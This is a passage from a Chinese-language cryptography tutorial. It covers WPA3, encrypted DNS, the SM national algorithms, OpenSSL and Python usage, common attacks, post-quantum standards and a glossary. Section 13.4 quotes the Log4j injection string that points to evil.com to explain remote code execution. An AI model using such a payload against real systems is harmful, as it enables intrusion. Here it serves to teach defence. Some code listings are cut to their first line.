| KRACK 免疫 | ❌ | ✅ SAE 每次生成新 PMK,无密钥重装概念 |
| 离线字典攻击 | ❌ | ✅ 每次密码猜测必须在线交互,路由器可检测并锁定 |
| 前向安全 | ❌ | ✅ 即使密码泄露,历史流量无法解密 |
| 公共 Wi-Fi | 完全明文 | OWE(机会性无线加密),无需密码即可加密 |
实际使用建议: 新路由器建议开 WPA3。只能用 WPA2 的话:使用 16 位以上随机密码 + 禁用 WPS + 开启 PMF。
10.7 DNS 加密:你的上网记录不该是明文的
传统 DNS(域名��IP 地址的查询服务)是明文的——你的 ISP 和咖啡店 Wi-Fi 管理员能看到你访问的每个网站。
三种加密 DNS 方案对比:
| 技术 | 全称 | 机制 | 一句话 |
|---|---|---|---|
| DoT | DNS over TLS | DNS 包走 TLS 加密 | DNS 专属加密通道 |
| DoH | DNS over HTTPS | DNS 包混在 HTTPS 流里 | 最隐蔽,最难被审查 |
| DNSSEC | DNS Security Extensions | 对 DNS 记录加数字签名 | ⚠️ 不加密!只防篡改 |
⚠️ 最常见误解: DNSSEC 不加密。它只给 DNS 记录加签名,防篡改。你的 ISP 仍然能看到你查了什么域名。DoH 和 DoT 才负责加密传输。
实用建议: Android 设置→网络→私人 DNS,填入 dns.google(开启系统级 DoT)。
10.8 密码管理器:零知识加密的典范
以 Bitwarden(开源密码管理器)为例的零知识加密[28]架构:
1 | 用户输入:主密码(唯一需要记住的东西) |
实操建议: 如果用 Bitwarden,在设置中把 KDF 切换为 Argon2id(默认配置:64MB/3迭代/4并行度)。
第十一章 国密算法体系
中国国家密码管理局发布的商用密码算法标准体系:
| 算法 | 类型 | 对标国际 | 密钥/输出长度 | 说明 |
|---|---|---|---|---|
| SM1 | 对称分组密码 | AES | 128 位 | 算法不公开 |
| SM2 | 非对称(椭圆曲线) | ECC (P-256) | 256 位 | 256 位即达 RSA-3072 安全级别 |
| SM3 | 哈希 | SHA-256 | 256 位输出 | 国密哈希标准 |
| SM4 | 对称分组密码 | AES-128 | 128 位 | 加密解密结构相同,仅轮密钥顺序相反 |
| SM7 | 对称分组密码 | — | 128 位 | 算法不公开 |
| SM9 | 标识密码(IBC) | — | 256 位 | 手机号/邮箱本身即公钥,无需 PKI |
| ZUC(祖冲之) | 流密码 | SNOW 3G | 128 位 | 中国首个成为国际标准的密码算法(3GPP LTE) |
第十二章 加密解密实操实战
12.1 OpenSSL 命令行实战
OpenSSL 是加密解密实操的”瑞士军刀”——以下所有命令可直接运行。
对称加密(AES-256-GCM,推荐)
1 | # 加密文件(需要输入密码) |
非对称加密(RSA + OAEP 填充)
1 | # 生成 4096 位私钥 |
哈希与数字签名
1 | # SHA-256 哈希 |
12.2 Python 加密编程实战
1 | # pip install cryptography |
密码存储的正确方式
1 | # pip install bcrypt |
12.3 GPG 实战
1 | # 生成密钥对 |
第十三章 加密的失败:当理论遇到现实
引言: 算法在数学上是完美的,但实现是人写的,协议是逐步演进的,用户是有弱点的。理解加密如何失败,比只学习加密如何成功更重要——因为攻击者不会从正面突破你的 AES-256,他们会绕过去。
13.1 中间人攻击(MITM)
加密保护信道,但不保证你通信的对象是谁。如果攻击者能插在中间:
1 | 你 ←→ [攻击者,伪装成服务器] ←→ [真实服务器] |
| 手法 | 原理 | 防御 |
|---|---|---|
| ARP 欺骗 | 局域网内冒充网关 | 静态 ARP 表 |
| 伪造 Wi-Fi | 架一个同名 Wi-Fi | 谨慎连接公共 Wi-Fi + VPN |
| DNS 劫持 | 把你指向的 IP 改成攻击者的 IP | DNSSEC + DoH |
| 伪造证书 | 自签 *.google.com 证书 |
证书透明度 |
典型事件——Superfish(2015): 联想在笔记本预装 Superfish 广告软件,在系统安装自签根证书,对所有 HTTPS 做中间人解密以注入广告。事件曝光后联想紧急推送移除工具。
13.2 降级攻击
| 攻击名 | 目标 | 手法 |
|---|---|---|
| POODLE (2014) | SSLv3 | 伪造连接失败,逼客户端降级到 SSLv3,利用填充漏洞逐字节解密 |
| Logjam (2015) | TLS DH | 将 2048 位 DH 降级为 512 位”出口级”DH,可实时破解 |
| FREAK (2015) | TLS RSA | 将 RSA 密钥降级到 512 位出口级 |
13.3 侧信道攻击
不破解数学问题,通过物理世界的泄露信息推断密钥:
| 类型 | 测量什么 | 经典案例 |
|---|---|---|
| 时序攻击 | 不同密钥产生不同计算时间 | 通过服务器处理时间差异推断私钥 |
| 功耗分析 | CPU 不同运算的功耗波形(DPA) | 智能卡中的 AES 密钥被示波器+统计破解 |
| 缓存攻击 | CPU 缓存访问模式 | Meltdown/Spectre (2018) 跨进程窃取内存 |
| 声音攻击 | CPU 运算的电流噪声频率 | 手机麦克风在 1 米外录 RSA 签名声音→提取 4096 位密钥 |
13.4 实现错误
Heartbleed(2014): TLS 心跳扩展的 Bug——服务器不检查客户端声称的数据长度,导致可以读取服务器内存中 64KB 的任意数据(含私钥、密码)。全球 17% HTTPS 服务器受影响。
Log4j(2021): Log4j 日志库自动解析 ${...} 表达式,攻击者嵌入 ${jndi:ldap://evil.com/payload} 即可远程执行代码。全球数百万台服务器受影响。
Heartbleed 和 Log4j 的共同教训: 加密算法的安全性是必要条件,不是充分条件。软件实现的每一行代码都是攻击面。
13.5 社会工程——绕过所有加密的最短路径
任何加密都不能防止你把密码告诉骗子。钓鱼邮件、SIM 卡交换、假客服——年损失数千亿美元。
5 条保命建议:
- 使用密码管理器,所有网站密码不重复
- 开启两步验证(TOTP 验证器,别用短信)
- 保持系统和浏览器自动更新
- 公共 Wi-Fi 上只用 VPN 或手机热点
- 对任何要你”点击链接、输入密码、告知验证码”的消息保持深度怀疑
第十四章 量子密码与未来趋势
14.1 量子计算对现有密码的威胁
| 算法 | 量子攻击算法 | 影响程度 | 缓解措施 |
|---|---|---|---|
| RSA | Shor 算法 | 🔴 完全破解 | 迁移到 PQC |
| ECC/ECDSA | Shor 算法 | 🔴 完全破解 | 迁移到 PQC |
| AES-128 | Grover 算法 | 🟡 减半(约 64 位) | 升级到 AES-256 |
| AES-256 | Grover 算法 | 🟢 仍安全(约 128 位) | 无需改变 |
| SHA-256 | Grover 算法 | 🟡 碰撞 128→85 位 | 升级到 SHA-384 |
14.2 NIST 后量子密码标准(2024)
| 标准 | 原名 | 类型 | 数学基础 |
|---|---|---|---|
| FIPS 203 | CRYSTALS-Kyber → ML-KEM | 密钥封装 | 格(Module-LWE) |
| FIPS 204 | CRYSTALS-Dilithium → ML-DSA | 数字签名 | 格(Module-LWE) |
| FIPS 205 | SPHINCS+ → SLH-DSA | 数字签名(保守) | 无状态哈希 |
⚠️ “现在收集,以后解密”: 攻击者现在截获加密通信并存起来,等量子计算机成熟后批量解密。需要保密超过 10~15 年的数据,现在就该考虑迁移。
14.3 其他前沿方向
- 同态加密: 在密文上直接计算,结果解密后等同于明文计算结果
- 零知识证明(ZKP): 证明”我知道 X”而不透露 X
- 安全多方计算: 多方在不泄露各自输入的情况下共同计算一个函数
- 量子密钥分发(QKD): 利用量子力学不可克隆定理实现理论上绝对安全的密钥分发(中国已建成京沪量子通信干线)
第十五章 学习路径与资源
15.1 三阶段学习路线
| 阶段 | 目标 | 核心内容 |
|---|---|---|
| 入门(1-2 周) | 理解概念,会用工具 | AES/RSA/MD5 概念、OpenSSL 命令行、SHA-256 哈希 |
| 进阶(2-4 周) | 理解原理,能写代码 | TLS 握手、RSA 数学原理、Python cryptography 库 |
| 实践(2-4 周) | 独立完成项目 | CTF 密码题、搭建 HTTPS 服务、参与开源项目 |
15.2 推荐资源
| 类型 | 资源 | 说明 |
|---|---|---|
| 📖 入门书 | 《图解密码技术》(结城浩) | 最佳入门,图解+故事��零基础可读 |
| 📖 经典书 | 《应用密码学》(Bruce Schneier) | 密码学圣经,比教科书有趣 |
| 📖 中文书 | 《深入浅出 HTTPS》(虞卫东) | TLS/HTTPS 最佳中文读物 |
| 🎓 课程 | Coursera: Cryptography I (Dan Boneh, 斯坦福) | 最好的密码学在线课程,免费 |
| 🎮 CTF | CryptoHack | 游戏化学密码学,从入门到高级 |
| 🎮 CTF | picoCTF | 卡内基梅隆出品,适合零基础 |
| 💬 社区 | 看雪论坛 | 逆向与安全经典中文论坛 |
| 🔧 GitHub | awesome-cryptography | 密码学资源大全 |
15.3 可以先跳过的
- 椭圆曲线的群论、域论严格数学推导
- 侧信道攻击细节(进阶再学)
- 格密码的具体数学构造(先理解概念,后量子时代深入时再学)
- 自己实现加密算法(永远不要用于生产!做练习可以)
💡 最重要的学习建议: 密码学不是”看书”学会的——必须动手。每学一个概念就打开终端跑一跑,动手比看书重要十倍。
第十六章 附录
16.1 术语表
| 术语 | 英文 | 定义 |
|---|---|---|
| 明文 | Plaintext | 加密前的原始可读数据 |
| 密文 | Ciphertext | 加密后的不可读数据 |
| 密钥 | Key | 控制加密/解密过程的秘密参数 |
| 对称加密 | Symmetric Encryption | 加密和解密使用同一密钥 |
| 非对称加密 | Asymmetric Encryption | 加密和解密使用不同密钥(公钥/私钥) |
| 公钥 | Public Key | 可公开分发,用于加密或验证签名 |
| 私钥 | Private Key | 必须保密,用于解密或创建签名 |
| 哈希/摘要 | Hash / Digest | 不可逆的固定长度输出,验证完整性 |
| 数字签名 | Digital Signature | 用私钥对数据创建的密码学证明 |
| 证书 | Certificate (X.509) | CA 签发的公钥所有权证明 |
| CA | Certificate Authority | 可信任的证书签发机构 |
| PKI | Public Key Infrastructure | 管理公钥和证书的基础设施 |
| TLS | Transport Layer Security | 传输层安全协议,HTTPS 底层加密标准 |
| IV/Nonce | Initialization Vector | 随机数,确保相同明文每次产生不同密文 |
| MAC | Message Authentication Code | 消息认证码,验证数据完整性和来源 |
| HMAC | Hash-based MAC | 基于哈希的消息认证码 |
| AEAD | Authenticated Encryption with Associated Data | 认证加密,同时提供加密和完整性 |
| PFS | Perfect Forward Secrecy | 完美前向安全,长期密钥泄露不影响历史通信 |
| PQC | Post-Quantum Cryptography | 后量子密码,抵抗量子计算机攻击 |
| KDF | Key Derivation Function | 密钥派生函数,从密码生成密钥 |
| Salt | Salt | 随机数据,与密码混合后哈希,防彩虹表 |
| ECDHE | Elliptic Curve Diffie-Hellman Ephemeral | 椭圆曲线临时 DH 密钥交换,提供前向安全 |
| GCM | Galois/Counter Mode | AES 的认证加密模式(推荐) |
| OAEP | Optimal Asymmetric Encryption Padding | RSA 的安全填充方案 |
16.2 OpenSSL 常用命令速查
1 | # 对称加密/解密 |
16.3 算法选择决策速查表
| 场景 | 推荐算法 | 备选 |
|---|---|---|
| 加密大量数据 | AES-256-GCM | ChaCha20-Poly1305 |
| 密钥交换 | ECDHE (X25519) | ML-KEM(后量子) |
| 数字签名 | Ed25519 | ECDSA P-256 / RSA-4096 |
| 密码存储 | Argon2id | bcrypt (cost≥12) |
| 哈希/完整性 | SHA-256 / BLAKE3 | SHA-512 / SHA-3 |
| 消息认证 | HMAC-SHA256 | Poly1305 |
| 国内合规 | SM2 + SM3 + SM4 | SM9 |
| 后量子安全 | ML-KEM + ML-DSA | Hybrid: X25519 + ML-KEM |
| 邮件加密 | GPG (RSA-4096 + AES-256) | S/MIME |
| 全盘加密 | AES-XTS-256 | — |
- 1.手机上可能看不到悬停效果,请对照本节末尾的缩写表查阅。 ↩
- 10.**多表替换密码(Polyalphabetic Substitution Cipher)**:使用**多张不同的替换表**,在加密过程中交替切换,使得同一个明文字母在不同位置被替换成不同的密文字母。这打破了单表替换的频率特征,曾长期被认为无法破解。 ↩
- 11.**一次性密码本(One-Time Pad, OTP)**:加密时,密钥必须满足三个条件——(1) 密钥和明文**一样长**;(2) 密钥**完全随机**(每个比特独立随机);(3) 密钥**只用一次**。加密操作:密�� = 明文 ⊕ 密钥(按位异或)。因为密钥完全随机,密文里不含任何明文的统计规律,数学上被证明无法破解。但缺点也致命:密钥太长(和文件一样大)且只能用一次,实际中几乎无法操作——你用一个 1GB 的密钥加密 1GB 的视频,那你怎么安全地把那个 1GB 的密钥送给接收方呢?这又回到了密钥分发问题。 ↩
- 12.**公钥密码学(Public-key Cryptography)** 的核心思想是**加密和解密使用不同的密钥**:一个公开给全世界(公钥),一个死守在自己手里(私钥)。公钥加密的内容只有私钥能解开。这意味着你不再需要事先和安全地把密钥交给对方——对方只需用你的公钥加密即可。这是与前两千年所有加密方法的根本区别。 ↩
- 13.**密钥分发问题**:在公钥密码学发明之前,Alice 和 Bob 想要加密通信,必须先在安全的环境下(比如面对面)交换同一把密钥。想象一支军队要在战场上发送加密电报——先得派人把密钥本送到前线,而送密钥的人本身就是安全漏洞。 ↩
- 14.**DES(Data Encryption Standard,数据加密标准)**:56 位密钥的对称分组密码,按今天的标准极弱(56 位密钥可被暴力破解)。但它历史意义巨大——它是第一个公开了完整算法细节的政府标准,开启了「公开算法、公开讨论、全球检验」的现代密码学范式。 ↩
- 15.**碰撞(Collision)**:两个不同的输入产生完全相同的哈希值。MD5 碰撞 = 你可以伪造一个和正版软件有相同 MD5 值的恶意软件,数字签名验证照样通过。 ↩
- 16.**不可否认性(Non-repudiation)**:发送者无法否认自己发送过某条消息。因为数字签名只能用发送者的私钥生成,一旦签名验证通过,技术上就能证明"这条消息确实出自你之手"。 ↩
- 17.**盐(Salt)**:在哈希密码前,先给密码拼接一段随机字符串。即使两个用户用了完全一样的密码,因为盐不同,哈希结果也完全不同——攻击者无法用预计算的"彩虹表"批量破解。 ↩
- 18.**彩虹表攻击**:攻击者预先算好大量常见密码的哈希值存成表。如果密码没加盐,他只需查表就能秒破。加了盐后,他必须为每个用户单独计算,时间成本从秒级变成年级。 ↩
- 19.**异或(XOR,符号⊕)**:一种按位运算。规则:0⊕0=0, 0⊕1=1, 1⊕0=1, 1⊕1=0。关键性质:A ⊕ B ⊕ B = A(异或两次等于还原),这正是流密码加密和解密用同一操作的原因。 ↩
- 20.**AES(Advanced Encryption Standard,高级加密标准)**:分组加密算法,始终处理 128 位(16 字节)的数据块,密钥可选 128/192/256 位。于 2001 年取代 DES 成为美国联邦标准,至今无实用攻击。 ↩
- 21.**SPN(代换-置换网络)**:AES 的核心架构。**代换(Substitution)**:用非线性变换混淆数据(S 盒);**置换(Permutation)**:打乱数据的位置关系(行移位+列混淆)。两者交替多轮,让"输入每个比特的改变都影响输出的所有比特"——这叫**雪崩效应**。 ↩
- 22.**ECC(Elliptic Curve Cryptography,椭圆曲线密码学)**:基于椭圆曲线上的离散对数难题。为什么叫"椭圆曲线"?因为研究的方程 y² = x³ + ax + b 在图形上像压扁的椭圆。你不用懂图形,只需知道:在这条曲线上定义了一种特殊的"点加法",K = k × G(G 是公开的起点,k 是私钥,K 是公钥),从 K 反推 k 极其困难。 ↩
- 23.**离散对数问题(DLP)**:给定 g, p, 和 gª mod p,求 a。正向计算 gª mod p 很容易(用快速幂算法),但逆向几乎不可能。想像一下:你知道的是计算结果,但不知道"g 乘了自己多少次"——这就是离散对数困难所在。 ↩
- 24.**为什么叫"逆向使用"?** 正常加密:公钥加密 → 私钥解密(保证机密性)。数字签名反过来:私钥"加密" → 公钥"解密"(验证真实性)。因为只有 Alice 持有私钥,所以只有 Alice 能产生这个签名——用公钥验证通过就证明"这条消息确实来自 Alice"。 ↩
- 25.**PKI(Public Key Infrastructure,公钥基础设施)**:管理数字证书的完整体系。核心思想是"信任链"——你信任根 CA,根 CA 信任中间 CA,中间 CA 担保这个公钥确实属于 taobao.com。你的浏览器内置了全球几十个根 CA 的公钥,自动完成这条链的验证。 ↩
- 26.**认证加密(AEAD)**:用一个操作同时完成加密和完整性校验。这意味着数据如果被篡改过,解密时直接报错——攻击者既看不到内容,也无法悄无声息地修改。GCM 和 ChaCha20-Poly1305 都是 AEAD 模式。 ↩
- 27.**TLS(Transport Layer Security,传输层安全协议)** 是 HTTPS 的底层加密标准。你在浏览器地址栏看到的小锁图标 🔒,就表示当前连接使用了 TLS 加密。 ↩
- 28.**零知识加密(Zero-Knowledge Encryption)**:服务提供商的服务器上**只存加密后的密文**。你的主密码和密钥从不离开你的设备。即使公司被法院传票,也只能交出加密过的垃圾数据——因为他们根本没有密钥。 ↩
